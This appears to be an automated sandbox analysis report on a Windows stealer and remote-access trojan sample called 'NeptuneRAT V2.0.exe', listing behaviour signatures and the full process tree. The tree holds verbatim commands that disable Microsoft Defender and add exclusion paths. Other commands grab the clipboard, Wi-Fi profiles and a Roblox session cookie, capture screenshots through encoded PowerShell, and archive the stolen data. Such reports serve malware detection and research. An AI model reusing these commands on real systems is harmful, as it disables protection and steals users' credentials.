Overview

overview

10

Static

static

3

NeptuneRAT V2.0.exe

windows10-2004-x64

10

NeptuneRAT V2.0.exe

windows11-ltsc_2024-x64

8

Analysis

  • user interaction
    yes
  • max time kernel
    40s
  • max time network
    76s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    18/07/2026, 01:00

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    NeptuneRAT V2.0.exe
  • Size 42.0MB
  • Sample260718-bctmdabs4j
  • SHA256 fd1013cb723a40d663f228324e6d95267df3588b697f2f670cd435f2bf05723e
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
collectioncredential_accessdefense_evasiondiscoveryexecutionblankgrabbermilleniumratstormkittypersistenceprivilege_escalationpyinstallerratspywarestealerupx

Malware Config

Signatures

  • Family: MilleniumRat

    MilleniumRat is a remote access trojan written in C#.

    ratstealermilleniumrat
  • Family: StormKitty

    StormKitty is an open source info stealer written in C#.

    stealerstormkitty
  • Family: blankgrabber

    Blankgrabber is an infostealer written in Python and packaged with Pyinstaller.

    stealerblankgrabber
  • A stealer written in Python and packaged with Pyinstaller 1 IoCs
  • Detects MilleniumRAT stealer 3 IoCs
  • StormKitty payload 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 12 IoCs

    Run Powershell and hide display window.

    execution
  • Disables one or more Microsoft Defender components 1 TTPs 2 IoCs

    Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

    defense_evasion
  • Downloads MZ/PE file 4 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Clipboard Data 1 TTPs 2 IoCs

    Adversaries may collect data stored in the clipboard from users copying information within or between applications.

    collection
  • Drops startup file 12 IoCs
  • Executes dropped EXE 24 IoCs
  • Loads dropped DLL 49 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

    credential_accessstealer
  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
    collection
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 4 IoCs
    persistence
  • Contacts third-party web service commonly abused for C2 1 TTPs 6 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Looks up external IP address via web service 6 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

    defense_evasion
  • Enumerates processes with tasklist 1 TTPs 3 IoCs
    discovery
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
    execution
  • UPX packed file 47 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Detects Pyinstaller 1 IoCs
    pyinstaller
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

    persistenceprivilege_escalation
  • Executes a command shell one-liner 1 TTPs 30 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Program crash 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 19 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 4 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

    discovery
  • Delays execution with timeout.exe 2 IoCs
    defense_evasion
  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Modifies registry key 1 TTPs 6 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Views/modifies file attributes 1 TTPs 4 IoCs
    defense_evasion
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\NeptuneRAT V2.0.exe
    "C:\Users\Admin\AppData\Local\Temp\NeptuneRAT V2.0.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:460
    • C:\Users\Admin\AppData\Local\Temp\activater.exe
      "C:\Users\Admin\AppData\Local\Temp\activater.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:456
      • C:\Users\Admin\AppData\Local\Temp\activater.exe
        "C:\Users\Admin\AppData\Local\Temp\activater.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Adds Run key to start application
        PID:2724
    • C:\Users\Admin\AppData\Local\Temp\blank.exe
      "C:\Users\Admin\AppData\Local\Temp\blank.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:1388
      • C:\Users\Admin\AppData\Local\Temp\blank.exe
        "C:\Users\Admin\AppData\Local\Temp\blank.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of WriteProcessMemory
        PID:2444
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\blank.exe'"
          4⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:2160
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\blank.exe'
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3192
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
          4⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:4552
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • Disables one or more Microsoft Defender components
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2056
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\     .scr'"
          4⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:416
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\     .scr'
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2388
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
          4⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:5604
          • C:\Windows\system32\tasklist.exe
            tasklist /FO LIST
            5⤵
            • Enumerates processes with tasklist
            • Suspicious use of AdjustPrivilegeToken
            PID:6060
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
          4⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:2640
          • C:\Windows\system32\tasklist.exe
            tasklist /FO LIST
            5⤵
            • Enumerates processes with tasklist
            • Suspicious use of AdjustPrivilegeToken
            PID:716
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
          4⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:5640
          • C:\Windows\System32\Wbem\WMIC.exe
            WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
            5⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:5240
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
          4⤵
          • Clipboard Data
          • Suspicious use of WriteProcessMemory
          PID:5020
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell Get-Clipboard
            5⤵
            • Clipboard Data
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4236
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
          4⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:5480
          • C:\Windows\system32\tasklist.exe
            tasklist /FO LIST
            5⤵
            • Enumerates processes with tasklist
            • Suspicious use of AdjustPrivilegeToken
            PID:4652
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "tree /A /F"
          4⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:2772
          • C:\Windows\system32\tree.com
            tree /A /F
            5⤵
              PID:2328
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
            4⤵
            • Executes a command shell one-liner
            • System Network Configuration Discovery: Wi-Fi Discovery
            • Suspicious use of WriteProcessMemory
            PID:744
            • C:\Windows\system32\netsh.exe
              netsh wlan show profile
              5⤵
              • Event Triggered Execution: Netsh Helper DLL
              • System Network Configuration Discovery: Wi-Fi Discovery
              PID:5436
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "systeminfo"
            4⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:5152
            • C:\Windows\system32\systeminfo.exe
              systeminfo
              5⤵
              • Gathers system information
              PID:2852
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:3952
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
              5⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:2424
              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\spmsigw3\spmsigw3.cmdline"
                6⤵
                • Suspicious use of WriteProcessMemory
                PID:5584
                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8141.tmp" "c:\Users\Admin\AppData\Local\Temp\spmsigw3\CSC8202DDA82E3242D490D5E4596D2379D.TMP"
                  7⤵
                    PID:1108
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "tree /A /F"
              4⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:5156
              • C:\Windows\system32\tree.com
                tree /A /F
                5⤵
                  PID:1480
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c "tree /A /F"
                4⤵
                • Executes a command shell one-liner
                • Suspicious use of WriteProcessMemory
                PID:1044
                • C:\Windows\system32\tree.com
                  tree /A /F
                  5⤵
                    PID:4396
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c "tree /A /F"
                  4⤵
                  • Executes a command shell one-liner
                  • Suspicious use of WriteProcessMemory
                  PID:5744
                  • C:\Windows\system32\tree.com
                    tree /A /F
                    5⤵
                      PID:5160
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c "tree /A /F"
                    4⤵
                    • Executes a command shell one-liner
                    • Suspicious use of WriteProcessMemory
                    PID:2704
                    • C:\Windows\system32\tree.com
                      tree /A /F
                      5⤵
                        PID:4844
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /c "tree /A /F"
                      4⤵
                      • Executes a command shell one-liner
                      • Suspicious use of WriteProcessMemory
                      PID:2404
                      • C:\Windows\system32\tree.com
                        tree /A /F
                        5⤵
                          PID:3008
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /c "getmac"
                        4⤵
                        • Executes a command shell one-liner
                        PID:2452
                        • C:\Windows\system32\getmac.exe
                          getmac
                          5⤵
                            PID:3008
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                          4⤵
                          • Executes a command shell one-liner
                          PID:980
                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                            powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                            5⤵
                            • Command and Scripting Interpreter: PowerShell
                            PID:1608
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                          4⤵
                          • Executes a command shell one-liner
                          PID:1864
                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                            powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                            5⤵
                              PID:3872
                          • C:\Windows\system32\cmd.exe
                            C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI13882\rar.exe a -r -hp"boonga" "C:\Users\Admin\AppData\Local\Temp\rG4Hb.zip" *"
                            4⤵
                            • Executes a command shell one-liner
                            PID:5676
                            • C:\Users\Admin\AppData\Local\Temp\_MEI13882\rar.exe
                              C:\Users\Admin\AppData\Local\Temp\_MEI13882\rar.exe a -r -hp"boonga" "C:\Users\Admin\AppData\Local\Temp\rG4Hb.zip" *
                              5⤵
                                PID:5888
                            • C:\Windows\system32\cmd.exe
                              C:\Windows\system32\cmd.exe /c "wmic os get Caption"
                              4⤵
                              • Executes a command shell one-liner
                              PID:1232
                              • C:\Windows\System32\Wbem\WMIC.exe
                                wmic os get Caption
                                5⤵
                                  PID:3184
                              • C:\Windows\system32\cmd.exe
                                C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
                                4⤵
                                • Executes a command shell one-liner
                                PID:3220
                                • C:\Windows\System32\Wbem\WMIC.exe
                                  wmic computersystem get totalphysicalmemory
                                  5⤵
                                    PID:544
                                • C:\Windows\system32\cmd.exe
                                  C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
                                  4⤵
                                  • Executes a command shell one-liner
                                  PID:4952
                                  • C:\Windows\System32\Wbem\WMIC.exe
                                    wmic csproduct get uuid
                                    5⤵
                                      PID:2308
                                  • C:\Windows\system32\cmd.exe
                                    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
                                    4⤵
                                    • Executes a command shell one-liner
                                    PID:1396
                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
